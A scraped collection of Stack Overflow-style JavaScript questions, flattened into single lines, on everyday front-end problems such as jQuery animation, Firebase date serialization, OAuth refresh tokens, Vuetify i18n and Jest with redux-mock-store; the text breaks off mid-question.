//js.syncfusion.com/demos/web/themes/default-responsive.css '' rel= '' stylesheet '' / > < link href= '' http : //js.syncfusion.com/demos/web/themes/bootstrap.min.css '' rel= '' stylesheet '' / > < link href= '' http : //js.syncfusion.com/demos/web/themes/default-theme/ej.widgets.all.min.css '' rel= '' stylesheet '' / > < link href= '' http : //js.syncfusion.com/demos/web/themes/default-theme/ej.theme.min.css '' rel= '' stylesheet '' / > < script src= '' http : //js.syncfusion.com/demos/web/scripts/ej.web.all.min.js '' > < /script > < div class= '' content-container-fluid '' > < div class= '' row '' > < div class= '' cols-sample-area '' > < div id= '' container '' > < /div > < /div > < /div > < /div >",SyncFusion JS chart - Tooltips behave wrong JS : I have a question about better code reuse in JS.E.g I have file functions.js with next functions : I would like to call foo ( ) function before each function in this class called.The simple solution would be : But what if i have more then 3 function ? How to optimise foo ( ) function calls and call it each time before each file functions are called ? export const a = ( ) = > { ... } export const b = ( ) = > { ... } export const c = ( ) = > { ... } ... .const foo = ( ) = > { ... } export const a = ( ) = > { foo ( ) ... } export const b = ( ) = > { foo ( ) ... } export const c = ( ) = > { foo ( ) ... },JS : Call certain function before calling each of other functions in file "JS : This may be a silly question , but why are function arguments in JavaScript not preceded by the var keyword ? Why : And not : I have a feeling the answer is because that 's what the Spec says but still ... function fooAnything ( anything ) { return 'foo ' + anyThing ; } function fooAnything ( var anything ) { return 'foo ' + anyThing ; }",Why are arguments in JavaScript not preceded by the var keyword ? "JS : I have an HTML page roughly divided 30 % - 70 % into two vertical columns . The left column contains a chat feed ( handled via Node and Socket.io ) , and the right column contains an emscripten-generated canvas ( with the ID of canvas ) . The canvas contains a basic 3D world that the user can navigate using standard first-person controls ( WASD for movement , mouse to 'look ' ) .By default , the canvas swallows all keyboard events . I 've fixed this with the following code in the canvas initialisation procedure : This allow me to manually focus on the chat box , type a message , and submit it.The issue I 'm running into is that once the chat message has been submitted , I try and return focus to the canvas with the following code ( to allow the players to navigate the 3d world with WASD ) : This nominally returns focus to the canvas , but mouse and keyboard movement does not work . Oddly , clicking off the tab/browser window and then into the canvas seems to work - focus is returned to the canvas , and I can navigate once more . Manually calling $ ( window ) .blur ( ) .focus ( ) does n't do the trick.Does anyone know how to force focus back to the canvas once a chat message has been sent ? -- UPDATE -- I 've added a text input field ( with the ID of hiddenField ) behind the canvas and I 'm using the preRun function to assign key events for the canvas to that field ( canvas was n't working consistently for some reason ) . This works fine until the user clicks off the canvas - for example , into the chat field - whereupon the canvas stops responding to any keyboard or mouse input , even though I 'm triggering focus back onto the hiddenField ( and can see that it 's getting it ) .It seems that doing anything on the page conflicts with emscripten 's focussing behaviour ( tied to the window object , I believe ) and prevents the canvas from regaining focus.Surely there 's some way of aloowing the emscripten canvas to live alongside other HTML elements ? Module.preRun.push ( function ( ) { ENV.SDL_EMSCRIPTEN_KEYBOARD_ELEMENT = `` # canvas '' ; } ) ; $ ( ' # canvas ' ) .focus ( ) ;",Emscripten canvas + jQuery - toggle focus "JS : As the title says , when writing incorrect TypeScript-code in a project set up with create-react-app , I do n't get any errors in the terminal when running the tests through npm test . Maybe this is expected behaviour ? Would however be nice to get the errors to prevent one from writing incorrect TypeScript in tests as wellSample of incorrect code : P.S . In case you were wondering I am using the TypeScript-version of create-react-app through : npx create-react-app my-app -- typescript . Everything else works fine , and if I write incorrect TypeScript in component files the terminal let 's me know // App.test.tsxit ( 'Test of incorrect TypeScript ' , ( ) = > { let aSimpleString : string = 'hello ' ; aSimpleString = 5 ; } ) ;",TypeScript errors does n't show when running tests through JEST with create-react-app "JS : I am extremely new to JQuery , I just started looking into it today . I have searched all around for what might be causing this bit of code to not work . When you scroll down , I want the h1 to move to the side and a menu button to appear . That works , but when I scroll back up again , it takes an extremely long time to reverse itself . I have tried to fine anything that might be causing it like a delay or something , but as far as I can see , there is n't any problems.Link to website : http : //www.dragonmath.net/rocketsHere is my code : HTMLCSS < ! DOCTYPE html > < html > < head > < link rel= '' stylesheet '' type= '' text/css '' href= '' styles/main.css '' / > < title > Rockets < /title > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js '' > < /script > < /head > < body > < header > < img id= '' menu '' src= '' images/menu1.png '' / > < div id= '' headerdiv '' > < h1 > Rockets < /h1 > < img id= '' logo '' src= '' images/logo1.png '' / > < /div > < /header > < nav > < ul > < li > < a > Space Race < /a > < /li > < li > < a > SpaceX < /a > < /li > < /ul > < /nav > < script > $ ( document ) .ready ( function ( ) { var $ menu = $ ( 'img # menu ' ) ; var $ headerdiv = $ ( `` div # headerdiv '' ) var $ nav = $ ( 'nav ' ) ; $ ( window ) .on ( 'scroll ' , function ( ) { if ( $ ( window ) .scrollTop ( ) > 40 ) { $ headerdiv.addClass ( `` testheaderdiv '' ) ; $ menu.delay ( 800 ) .slideDown ( 800 ) ; $ nav.addClass ( 'testnav ' ) ; } if ( $ ( window ) .scrollTop ( ) < 40 ) { $ menu.slideUp ( 800 , function ( ) { $ headerdiv.removeClass ( 'testheaderdiv ' ) ; } ) ; $ nav.removeClass ( 'testnav ' ) ; } } ) ; } ) ; < /script > < /body > < /html > * { margin : 0px ; padding : 0px ; color : # 00AAFF ; font-family : Arial ; } body { height : 800px ; } header { position : fixed ; top : 0px ; left : 0px ; height : 100px ; width : 100 % ; background-color : # 333 ; z-index : 1 ; } div # headerdiv { display : inline ; transition : all 1s ; } h1 { display : inline ; margin-left : 40px ; font-size : 40px ; } header > img # menu { position : fixed ; top : 20px ; left : 40px ; width : 40px ; height : 40px ; display : none ; } header > div > img # logo { display : inline ; width : 60px ; height : 60px ; position : relative ; top : 18px ; left : 20px ; transition : height 1s , width 1s ; } nav { position : relative ; top : 100px ; height : 40px ; width : 100 % ; background-color : # 333 ; } nav > ul { list-style : none ; } nav > ul > li { display : inline-block ; height : 40px ; width : 200px ; text-align : center ; border-right : 1px solid # 00AAFF ; } nav > ul > li > a { position : relative ; top : 6px ; } .testheaderdiv { margin-left : 80px ; transition : all 1s ; } .testnav { display : none ; }",Why is my JQuery running slow ? "JS : I want a fat arrow in jsPlumb with a pretty tip.This is what I want : This is what I get : How can I change the settings ? Here 's what I currently use : I have been using arrows in SVG before . There , I could simply change the SVG code of the head to be moved forward so that the end of the line ( the coordinates of the line end point ) is inside the arrowhead triangle . I do n't seem to be able to do this in jsPlumb.I see it is difficult to convey the problem.Here 's a next try : PaintStyle : { stroke : `` # f00 '' , strokeWidth : 20 } , connector : [ `` Straight '' ] , connectorOverlays : [ [ `` Arrow '' , { location:1 , width:70 , length:70 } ] ]",jsPlumb : fat arrow ? "JS : I 'm trying to export a complex SVG block ( generated with c3 ) from my website as an image ( be it png , svg , pdf , at this point I 'm open to anything that solves it , although vector format would be ideal ) .I have tried html2canvas , canvg , jsPDF , and all the cool kids from that gang.The problem is : one of my plots gets all screwed up . Line becomes area , areas get inverted , colors are ruined , ... you name it.I 'm pretty far from being js expert . I 've just got here and I 'm finding my way around , some please bear with me.I do n't know if this is a CSS issue or what . Yep , we do have CSS behind the html.My temporary solution is to use jQuery.print.js to call a print of my div . This is far from ideal for many reasons : No bbox . It generates a PDF with page size defined by user , not image size ; I 'm using bootstrap cards with auto resize . Whenever the `` print image '' is pressed , the print uses the current sizing . I 've tried hiding cards to rescale the target one , but the resizing will only take place AFTER the print call , for reasons unknown to me . It this issue is solved , this temporary solution would be better , although still a temp.So , one question is : how to get the SVG as shown ? Alternatively , how to resize the card BEFORE the print is called ? Or , how to generate raster ( png/jpeg ) without the formatting errors obtained from canvg/jsPDF ? The function doing the print call for now is : Here is the row of cards as shown on the webpage : The plot on the right is the one I 'm focusing my try-outs , and the one that is getting completing unformatted.Check what comes out using html2canvas , jsPDF and the like results in the same misconstruction as seem in the fiddle with SVG pasted , using canvg.jsPS : Yep , I did search a lot . That 's how I ended up trying html2canvas , canvg , jsPDF , jqprint , ... Cheers ! function getscreenshot ( div ) { // Hide row pair : $ ( ' # map-card ' ) .addClass ( 'hidden ' ) ; // Temporarily change class attr to spawn all row : var divClass = $ ( div ) .attr ( 'class ' ) ; $ ( div ) .attr ( 'class ' , 'col ' ) ; // ****PROBLEM**** // Div size is not upated before calling print ( ) // causing the print to have the size as displayed on user screen // How to refresh it before print ? // ******** // jQuery.print solves it in a non-ideal way , since user has to set save as file and so on $ ( div ) .print ( ) ; // This solution with jsPDF produces **ugly as hell** image : // var pdf = new jsPDF ( 'landscape ' ) ; // pdf.addHTML ( document.getElementById ( div ) , function ( ) { // pdf.save ( name + 'pdf ' ) ; // } ) ; // Recover original size after print : // Restore row pair and div original state : $ ( ' # map-card ' ) .removeClass ( 'hidden ' ) ; $ ( div ) .attr ( 'class ' , divClass ) ; }",How to properly generate canvas from complex svg "JS : For example , I got an object like this : Now I need to duplicate part of its properties instead all of them.I know I can do it like obj2.name = obj1.name , which will be verbose if many properties need to be duplicated . Are there any other quick ways to solve this problem ? I tried let { name : obj2.name , age : obj2.age } = obj1 ; but got error . obj1 = { name : 'Bob ' , age : 20 , career : 'teacher ' } obj2 = { name : `` , age : `` , }",how to destruct part of properties from an object "JS : Searching over the internet I 'm always bumping on this approach of Javascript classes extensionBut how is that different from this one ? This last one also works perfect . So why should I use this extra var F = function ( ) { } move then ? function extend ( Child , Parent ) { var F = function ( ) { } F.prototype = Parent.prototype Child.prototype = new F ( ) Child.prototype.constructor = Child Child.superclass = Parent.prototype } function extend ( Child , Parent ) { var p = new Parent ( ) Child.prototype = p Child.prototype.constructor = Child Child.superclass = p }",Javascript : How to extend class properly "JS : From the context of a FireFox extension ... Is there some way to be notified of back/forward/goto/reload/etc . `` History Events '' ? I 'm not looking for a way to cancel or change them , just to be made aware of them.My best solution thus far has been to hook into the UI elements responsible ( menuitems and buttons ) for triggering history navigation . This obviously does n't work terribly well in the face of any but the most tightly controlled FireFox installations as all it takes is one extension doing : ... to ruin my day , to say nothing of webpages themselves playing games with the history . gBrowser.webNavigation.goBack ( )",Listen for history events in FireFox ? "JS : I user jQuery 1.6.1 and browse is Chrome 11I put some data in DIV , like this : and try to use .data ( ) to fetch the userIdI must get 68029454802354176 , but it just return 68029454802354180Why does it change my number ? < div id= '' user '' data-user-id= '' 68029454802354176 '' > < /div > console.log ( $ ( ' # user ' ) .data ( 'userId ' ) ) ;",jQuery data ( ) get incorrect number data "JS : While adding some initialisation code to a webpage , I found myself writing window.onload = ... for the umptieth time , when a thought hit me.The window . is n't necessary , because window is the current object . So it 's optional ! But nobody writes just onload = ... and I wonder why that is.I mean , we have no qualms about writing other things , say alert without the window . qualifier.while in reality , alert is just as much a method of the window object as the onload is.So , why the difference ? Why do even formal websites like the W3C do this ? window.onload = function ( ) { alert ( 'Your window has loaded ' ) ; } ;",Why do we write window . ? "JS : I am trying to get access token & refresh token using OAuth.io for Google provider . I have chosen offline for the access_type in OAuth.io.Following is the codeI am not receiving refresh_token in the response . I am getting only access_token from response.JSON response for access token is : ReferenceI have found this SO link Getting refresh tokens from Google with OAuth.ioHere they have explained how to get refresh token in server side.I want to get refresh token in client side JS . OAuth.popup ( `` google '' , { 'authorize ' : { `` approval_prompt '' : 'force ' } } ) .done ( function ( result ) { console.log ( result ) ; } ) .fail ( function ( err ) { //handle error with err console.log ( err ) ; } ) ; { `` status '' : `` success '' , `` data '' : { `` access_token '' : `` ya29.pAGQWe3yxxxxxx '' , `` token_type '' : `` Bearer '' , `` expires_in '' : 3600 , `` request '' : { `` url '' : `` https : //www.googleapis.com '' , `` headers '' : { `` Authorization '' : `` Bearer { { token } } '' } } , `` id_token '' : `` eyJhbGciOiJSUzIxxxxxxxx '' } , `` state '' : `` Q9nfocQXJxxxx '' , `` provider '' : `` google '' }",Getting refresh tokens from Google with OAuth.io JS SDK ( Client side ) "JS : After examining the jQuery source , I see that the problem I am having is because replaceWith calls html which does not exist for XML documents . Is replaceWith not supposed to work on XML documents ? I have found this admittedly simple workaround , in case anybody needs it in the future , that will accomplish what I 'm trying to do : But I would still like to know why the easy way does n't work.I do n't know much about jQuery , but should n't this work ? Instead of xml representing < a > < c > yo < /c > < /a > it fails and represents < a > < /a > . Did I do something wrong ? I am using jQuery 1.6.2.Edit : As a side note , if I try to use the function version of replaceWith , like so : I get this error : Edit 2 : replaceAll works however , but I need to use the function version so I ca n't settle for this : Edit 3 : This also works : xml.find ( ' b ' ) .each ( function ( ) { $ ( this ) .replaceWith ( $ ( ' < c > yo < /c > ' ) ) // this way you can custom taylor the XML based on each node 's attributes and such } ) ; xml = $ .parseXML ( ' < a > < b > hey < /b > < /a > ' ) $ ( xml ) .find ( ' b ' ) .replaceWith ( ' < c > yo < /c > ' ) $ ( xml ) .find ( ' b ' ) .replaceWith ( function ( ) { return ' < c > yo < /c > ' // does n't matter what I return here } ) TypeError : Can not call method 'replace ' of undefined $ ( ' < c > yo < /c > ' ) .replaceAll ( $ ( xml ) .find ( ' b ' ) ) // works xml.find ( ' b ' ) .replaceWith ( $ ( ' < c > yo < /c > ' ) ) // but not with the $ ( ) around the argument",replaceWith on XML problem "JS : I have a table like that : How can I move the tds with the suffix |2 to the right , so adding a 3rd column ? Also , the remaining `` empty '' td `` some column|2 '' and `` another column|2 '' should be removed completely.The final result should look as follows : This is the desired code : This is my approach , which does n't work : FIDDLE . < table > < tr > < td > some column|1 < /td > < td id= '' abc|1 '' > abc < /td > < /tr > < tr > < td > another column|1 < /td > < td id= '' def|1 '' > def < /td > < /tr > < tr > < td > some column|2 < /td > < td id= '' abc|2 '' > abc < /td > < /tr > < tr > < td > another column|2 < /td > < td id= '' def|2 '' > def < /td > < /tr > < /table > < table > < tr > < td > some column|1 < /td > < td id= '' abc|1 '' > abc < /td > < td id= '' abc|2 '' > abc < /td > < /tr > < tr > < td > another column|1 < /td > < td id= '' def|1 '' > def < /td > < td id= '' def|2 '' > def < /td > < /tr > < /table > $ ( `` table td : nth-child ( 2 ) [ id $ =2 ] '' ) .after ( `` table td : nth-child ( 2 ) '' ) ;",Move td to new column "JS : I 'm trying to simply return a date from a firebase function : But here 's the result I 'm getting ( using firebase functions : shell ) : Note that the Date ( ) object is being serialized as an empty object which seems wrong ? I would have expected at least a .toString ( ) or something of the Date instance ... Does this mean I have to explicitly avoid returning Date instances ? I can write a custom serializer which I wrap around my functions to deeply convert Date instances to strings via .toISODate ( ) etc but that seems like I must be missing something ! THanks . import * as functions from 'firebase-functions ' ; const date = functions.https.onCall ( ( ) = > { return { date : new Date ( ) , iso : new Date ( ) .toISOString ( ) } ; } ) ; export default date ; RESPONSE RECEIVED FROM FUNCTION : 200 , { `` result '' : { `` date '' : { } , `` iso '' : `` 2018-12-08T18:00:20.794Z '' } }",ca n't return a date from a firebase cloud function ? "JS : I 'm trying to use the onfinish event for the Soundcloud Javascript SDK Stream method . I have the following code that is working except for the onfinish event never fires . Any ideas would be very helpful.Thanks in advance ! Update : Since onfinish does not work I am using the getState ( ) method on the soundPlayer object that is returned in SC.stream ( ) . Thankfully there is a unique state called `` ended '' when the stream has completed . This is what I have implemented : I 'm not happy about it , but it gives me the experienced desired and meets the requirements . I really hope someone can help shed some light on this on why the documented onfinish method is not firing.Anyone have any ideas ? var soundPlayer ; var smOptions = { useHTML5Audio : true , preferFlash : false , onfinish : function ( ) { console.log ( 'Finished playing ' ) ; } } ; SC.initialize ( { client_id : `` ... '' } ) ; SC.stream ( `` /tracks/12345 '' , smOptions , function ( sound ) { soundPlayer = sound ; } ) ; setInterval ( function ( ) { if ( soundPlayer ! = null & & soundPlayer.getState ( ) == `` ended '' ) { soundPlayer.play ( ) ; } } , 250 ) ;",Soundcloud Javascript SDK 2.0 - Stream onfinish event does not execute "JS : I have a plugin which records user action on any website . The actions are recorded in a different window of the same browser . For IE , it works properly on all sites except the ones having Iframe . The script gets blocked on the sites having Iframes with the following error : SCRIPT5 : Access is denied . Its a self created plugin.The error is on window.openIt does not open a new window properlyBelow is the snippet of the plugin.Using alert ( window ) displays `` [ object Window ] on all sites..but on sites having iframes , it displays only `` [ object ] '' Please guide . newwindow = window.open ( `` '' , `` ScriptGen '' , `` menubar=0 , directories=0 , toolbar=no , location=no , resizable=yes , scrollbars=yes , width=450 , height=250 , titlebar=0 '' ) ; newwindow.document.write ( ' < title > New Console < /title > ' ) ;",JQuery plugin issue with IFrame "JS : If I have a BLOB representation of a PDF file I have in my Angular Controller that I am exposing in my HTML page in the following fashion : What are my options if I wanted to mask parts of the document as it is being displayed in the browser ? Such cases include that I can think of ( just want to prove this is possible btw ) : Any ideas on how any of this could be achieved ? If not from a BLOB format is it possible at all ? What requirements would I have to meet to accomplish a task such as this.Successful example in browser : https : //studysoup.com/western-kentucky-university/econ-202/one-week-of-notes/econ-202-notes-week-9 ? id=864095 //controller function ( data ) { var fileBack = new Blob ( [ ( data ) ] , { type : 'application/pdf ' } ) ; var fileURL = URL.createObjectURL ( fileBack ) ; $ scope.content = $ sce.trustAsResourceUrl ( fileURL ) ; } //html < object ng-show= '' content '' data= '' { { content } } '' type= '' application/pdf '' style= '' width : 100 % ; height : 400px ; '' > < /object > - Hiding the 2nd page of a document - Overlapping a image to hide some Width x Height space",Achieving a preview of a PDF or hiding parts of a PDF in a web page from BLOB format -Angular "JS : Context : Say I 've got an object , obj , with some methods and some getters : obj is chainable and the chains will regularly include both methods and getters : obj.method2 ( a , b ) .getter1.method1 ( a ) .getter2 ( for example ) .I understand that this chained usage of getters is a bit strange and probably inadvisable in most cases , but this is n't a regular js application ( it 's for a DSL ) .But what if ( for some reason ) we wanted to execute these chained methods/getters really lazily ? Like , only execute them when a certain `` final '' getter/method is called ? In my case this `` final '' method is toString which can be called by the explicitly by the user , or implicitly when they try to join it to a string ( valueOf also triggers evaluation ) . But we 'll use the execute getter example to keep this question broad and hopefully useful to others.Question : So here 's the idea : proxy obj and simply store all getter calls and method calls ( with their arguments ) in an array . Then , when execute is called on the proxy , apply all the stored getter/method calls to the original object in the correct order and return the result : So as you can see I understand how to capture the getters and the names of the methods , but I do n't know how to get the arguments of the methods . I know about the apply trap , but am not quite sure how to use it because as I understand it , it 's only for proxies that are actually attached to function objects . Would appreciate it if a pro could point me in the right direction here . Thanks ! This question seems to have had similar goals . var obj = { method1 : function ( a ) { /* ... */ } , method2 : function ( a , b ) { /* ... */ } , } Object.defineProperty ( obj , `` getter1 '' , { get : function ( ) { /* ... */ } } ) ; Object.defineProperty ( obj , `` getter2 '' , { get : function ( ) { /* ... */ } } ) ; obj.method2 ( a , b ) .getter1.method1 ( a ) .getter2.execute var p = new Proxy ( obj , { capturedCalls : [ ] , get : function ( target , property , receiver ) { if ( property === `` execute '' ) { let result = target ; for ( let call of this.capturedCalls ) { if ( call.type === `` getter '' ) { result = result [ call.name ] } else if ( call.type === `` method '' ) { result = result [ call.name ] ( call.args ) } } return result ; } else { let desc = Object.getOwnPropertyDescriptor ( target , property ) ; if ( desc.value & & typeof desc.value === 'function ' ) { this.capturedCalls.push ( { type : '' method '' , name : property , args : [ /* how do I get these ? */ ] } ) ; return receiver ; } else { this.capturedCalls.push ( { type : '' getter '' , name : property } ) return receiver ; } } } , } ) ;",Capturing all chained methods and getters using a proxy ( for lazy execution ) "JS : What I am trying to do : I am trying to create a Drag-Drop-Sort grid . Followed the same example as JQuery UI Sortable Connect Lists.http : //jqueryui.com/sortable/ # connect-listsMy Code Example : My version of the above example is as below JSFiddle , https : //jsfiddle.net/t60x6j2b/5/JS CodeCSSHTMLAs you can see not a lot of difference between my code and jquery ui example.My problem : Now , my issues is when I drag say Item 1 from column 1 and try and drop in between Item M and Item N on column 2 ( which are obviously hidden under the scroller ) , I needed the column 2 scroller to get activated and start scrolling . But rather it scrolls the column 1 . Any help would be much appreciated.Many thanks , Karthik $ ( function ( ) { $ ( `` # sortable1 , # sortable2 '' ) .sortable ( { connectWith : `` .connectedSortable '' , placeholder : `` ui-state-highlight '' } ) .disableSelection ( ) ; } ) ; # sortable1 , # sortable2 { border : 1px solid # eee ; width : 147px ; min-height : 20px ; margin : 0 ; padding : 5px 0 0 0 ; float : left ; margin-right : 10px ; height:500px ; overflow-y : auto ; overflow-x : hidden ; } # sortable1 div , # sortable2 div { margin : 0 5px 5px 5px ; padding : 5px ; font-size : 1.2em ; width : 120px ; height : 50px ! important ; } < div class= '' title '' > Column 1 < /div > < div id= '' sortable1 '' class= '' connectedSortable '' > < div class= '' ui-state-default '' > Item 1 < /div > < div class= '' ui-state-default '' > Item 2 < /div > < div class= '' ui-state-default '' > Item 3 < /div > < div class= '' ui-state-default '' > Item 4 < /div > < div class= '' ui-state-default '' > Item 5 < /div > < div class= '' ui-state-default '' > Item 6 < /div > < div class= '' ui-state-default '' > Item 7 < /div > < div class= '' ui-state-default '' > Item 8 < /div > < div class= '' ui-state-default '' > Item 9 < /div > < div class= '' ui-state-default '' > Item 10 < /div > < /div > < div class= '' title '' > Column 2 < /div > < div id= '' sortable2 '' class= '' connectedSortable '' > < div class= '' ui-state-highlight '' > Item A < /div > < div class= '' ui-state-highlight '' > Item B < /div > < div class= '' ui-state-highlight '' > Item C < /div > < div class= '' ui-state-highlight '' > Item D < /div > < div class= '' ui-state-highlight '' > Item E < /div > < div class= '' ui-state-highlight '' > Item F < /div > < div class= '' ui-state-highlight '' > Item G < /div > < div class= '' ui-state-highlight '' > Item H < /div > < div class= '' ui-state-highlight '' > Item I < /div > < div class= '' ui-state-highlight '' > Item J < /div > < div class= '' ui-state-highlight '' > Item K < /div > < div class= '' ui-state-highlight '' > Item L < /div > < div class= '' ui-state-highlight '' > Item M < /div > < div class= '' ui-state-highlight '' > Item N < /div > < div class= '' ui-state-highlight '' > Item O < /div > < div class= '' ui-state-highlight '' > Item P < /div > < div class= '' ui-state-highlight '' > Item Q < /div > < div class= '' ui-state-highlight '' > Item R < /div > < div class= '' ui-state-highlight '' > Item S < /div > < div class= '' ui-state-highlight '' > Item T < /div > < div class= '' ui-state-highlight '' > Item U < /div > < div class= '' ui-state-highlight '' > Item V < /div > < div class= '' ui-state-highlight '' > Item W < /div > < div class= '' ui-state-highlight '' > Item X < /div > < div class= '' ui-state-highlight '' > Item Y < /div > < div class= '' ui-state-highlight '' > Item Z < /div > < /div >",Having issues with y-scrollable column with JQuery UI Sortable Connect Lists example "JS : I 'm working on a jQuery plugin . When the plugin runs , the first thing it does is determine its settings . It does this by taking some default settings and overriding some or all of them with whatever the user passed in.Here 's a simplified version : So , if you call the plugin like this : ... you override the default alerter function , but use the default favoriteColor.I 'm defining the defaults outside the plugin itself so that they are publicly accessible . So if you want to change the default value for favoriteColor , you can just do this : ... and that will change it for every instance on the page after that.All of this works fine.Here 's my problem : in one of the default functions , I need to refer to settings . Something like this : But when I try this , I get a Javascript error on the line where the default alerter function is declared : `` settings is not defined . '' True enough : it 's not defined yet when the parser hits that line . It WILL be defined by the time the function runs , but that does n't seem to matter.So my question is : How can I import my default function into the plugin in such a way that it has access to settings ? Is there a way to delay evaluation of settings until the function is actually called ? If so , is there a way to make sure it has access to the local scope of the plugin , even though I assume that , as an object , this function is being passed by reference ? I know that I can alter the value of this inside a function by using someFunction.call ( valueToUseForThis ) , but I do n't know whether I can alter its scope after the fact.Some Stuff that Does n't WorkInitially , it seemed that if I declared settings in the outer , self-executing function , that would make it available to the defaults . But declaring it there causes problems : if I use my plugin multiple times on a page , the instances get their settings mixed up . ( function ( $ ) { $ .fn.somePlugin = function ( userOptions ) { // Short name for internal use - exposed below for external modification var defaults = $ .fn.somePlugin.defaults ; // Decide settings // User settings overrule defaults , but merge both into an empty // hash so that original defaults hash is n't modified var settings = $ .extend ( true , { } , defaults , userOptions ) ; settings.alerter.call ( ) ; // More code , etc . } $ .fn.somePlugin.defaults = { name : 'Captain Slappy von Martinez , Esquire , DDS ' , favoriteColor : 'red ' , alerter : function ( ) { alert ( `` I got bones ! `` ) ; } } } ) ( jQuery ) ; $ ( 'div ' ) .somePlugin ( { alerter : function ( ) { alert ( 'No bones here ! ' ) ; } } ) ; $ .fn.somePlugin.defaults.favoriteColor = 'blue ' ; $ .fn.somePlugin.defaults = { name : 'Captain Slappy von Martinez , Esquire , DDS ' , favoriteColor : 'red ' , alerter : function ( ) { alert ( `` Paint me `` + settings.favoriteColor ) ; } }",How can I give a plugin 's default settings access to the final settings ? "JS : I 'm working on a Vue project on a static environment with no Node or Vue-cli , We 're importing Vue , Vuetify and vue-i18n using CDNsWe need to have the Vuetify components translated using the Vue-i18n like shown hereHere is a codepen of an attempt i 've made , trying to translate the pagination part at the bottom.I 've tried using Vue.use ( ) but could n't get it to work , no errors in the console and no translation on the page.lang/languages.js : import App from '../components/App.vue.js ' ; import i18n from '../lang/languages.js ' ; import store from './store/store.js ' ; Vue.filter ( 'toUpperCase ' , function ( value ) { return value.toUpperCase ( ) ; } ) ; Vue.config.devtools = true ; Vue.use ( Vuetify , { lang : { t : ( key , ... params ) = > i18n.t ( key , params ) } } ) ; new Vue ( { i18n , store , el : ' # app ' , render : ( h ) = > h ( App ) } ) ; import { russian } from './languages/russian.js ' ; import { chineseSimple } from './languages/chinese-simple.js ' ; import { german } from './languages/german.js ' ; import { portuguese } from './languages/portuguese.js ' ; const languages = { 'ru ' : russian , 'zh-Hans ' : chineseSimple , 'de ' : german , 'pt ' : portuguese , } ; const i18n = new VueI18n ( { locale : 'en ' , messages : languages } ) ; export default i18n ;",Using Vuetify with i18n using CDNs only "JS : I need some help to get js_of_ocaml working . There 's not much information about it on the net , and the manual is very sparse ( no snippets or usage examples , no comment sections ) .I have a Card module on the server with a card record . I 'm sending a card list to the client using Ajax , and there I want to read and traverse this list . What I end up with is this : ... where json has type ' a , according to documentation ( not when I run it , of course ) .I can log json # # length and get the correct length of the list . Where do I go from here ? Ideally , I 'd like to use Deriving_Json to type-safe get a card list again , but I could also use a for-loop ( not as elegant , but whatever ) . let json = Json.unsafe_input ( Js.string http_frame.XmlHttpRequest.content ) in",js_of_ocaml and Deriving_Json "JS : My use case is React , but this is a JavaScript question.I 'd like to extend the functionality of componentWillMount by using a subclass . How can I accomplish this ? class Super { componentWillMount ( ) { doStuff ( ) } } class Sub extends Super { componentWillMount ( ) { super ( ) // this does n't work doMoreStuff ( ) } }",Overriding a parent class instance ( non-static ) method javascript "JS : I have a cordova app that I want to run on desktops using Node Webkit.I need to replace cordova.plugins.email ( ) function with a Node Webkit equivelant but am struggling to find the info I need . Can anyone help ? The above code basically opens up a new email and pre-populates the email . I can not find much information out there on how to do this . I have come across nodemailer but I do n't think this is what I need as I would want to open up and email in Outlook and prepopulate , leaving the user to add the email address.Many thanks //email composer $ ( ' # stage ' ) .on ( 'click ' , ' # email ' , function ( event ) { var pdfatt = ( this.getAttribute ( 'data-pdfemail ' ) ) ; var profforename = window.localStorage.getItem ( 'profForename ' ) ; var profsurname = window.localStorage.getItem ( 'profSurname ' ) ; var profemail = window.localStorage.getItem ( 'profEmail ' ) ; cordova.plugins.email.isAvailable ( function ( isAvailable ) { cordova.plugins.email.open ( { body : ' < p > < img src= '' wp-content/uploads/2016/06/Email_Header.jpg '' / > < /p > < br > < br > From : < p > '+profforename+ ' '+profsurname+ ' < /p > < p > Tel : '+proftel+ ' < /p > < p > Mob : '+profmob+ ' < /p > < p > Email : '+profemail+ ' < /p > < br > < br > < a href= '' '+pdfatt+ ' '' > < img height= '' 30px '' src='+baseurl+ ' '' /wp-content/uploads/2016/06/download-pdf.jpg '' / > < br > Click To Download the PDF < /a > < br > < br > < br > < p > < img src= '' /wp-content/uploads/2016/06/Email_Footer.jpg '' / > < /p > ' , subject : 'subject ' , isHtml : true } ) ; //alert ( 'Service is not available ' ) unless isAvailable ; } ) ; } ) ;",Node Webkit- opening and sending emails via outlook "JS : As per the Google guy 's comment here box-orient ( and its webkit variant ) is a non-standard property left over from an old version of the flexbox spec . Any bugs with it are probably related to that.So in the below code I want to remove the following styles display : -webkit-box ; -webkit-line-clamp : 2 ; -webkit-box-orient : vertical ; and replace them with new flexbox specs , how can I do that the desired result is to clamp lines at 2 lines length as in the demo ( text-overflow to ellipsis ) Note : The reason for this change is that this style does n't work when the html element is hidden at default as mentioned in this Github issue . Working Angular Demo here < div style= '' min-height : 128px ; border-radius : 7px ; box-shadow : 0 2px 4px 0 rgba ( 210 , 210 , 210 , 0.5 ) ; border : solid 0.3px rgba ( 26 , 25 , 25 , 0.15 ) ; background-color : # ffffff ; width : 268px ; margin-bottom : 13px ; '' > < div style= '' overflow : hidden ; text-overflow : ellipsis ; padding-top : 5.6px ; display : -webkit-box ; -webkit-line-clamp : 2 ; -webkit-box-orient : vertical ; '' > Can we make this upper case ? and also remove the word and ’ ? Can we make this upper case ? and also remove the word and ’ ? Can we make this upper case ? and also remove the word and ’ ? Can we make this upper case ? and also remove the word and ’ ? Can we make this upper case ? and also remove the word and ’ ? Can we make this upper case ? and also remove the word and ’ ? < /div > < /div >",What is replacement of box-orient with the new flexbox ? "JS : I am trying to implement jest with our redux actions . Given the below action foo and it 's following test , the following test is failing because store.getActions ( ) is only returning me [ { `` type '' : `` ACTION_ONE '' } ] as supposed to [ { `` type '' : `` ACTION_ONE '' } , { `` type '' : `` ACTION_TWO '' } ] . How do I get both dispatched actions when testing ? Thanks ! import configureMockStore from 'redux-mock-store ' ; import thunk from 'redux-thunk ' ; export const foo = ( ) = > { return ( dispatch ) = > { dispatch ( actionOne ( ) ) ; return HttpService.get ( ` api/sampleUrl ` ) .then ( json = > dispatch ( actionTwo ( json.data ) ) ) .catch ( error = > handleError ( error ) ) ; } ; } ; const middlewares = [ thunk ] ; const mockStore = configureMockStore ( middlewares ) ; beforeEach ( ( ) = > { store = mockStore ( { } ) ; } ) ; describe ( 'sample test ' , ( ) = > { test ( 'validates foo complex action ' , ( ) = > { const expectedActions = [ { type : actionTypes.ACTION_ONE } , { type : actionTypes.ACTION_TWO } , ] ; return store.dispatch ( actions.foo 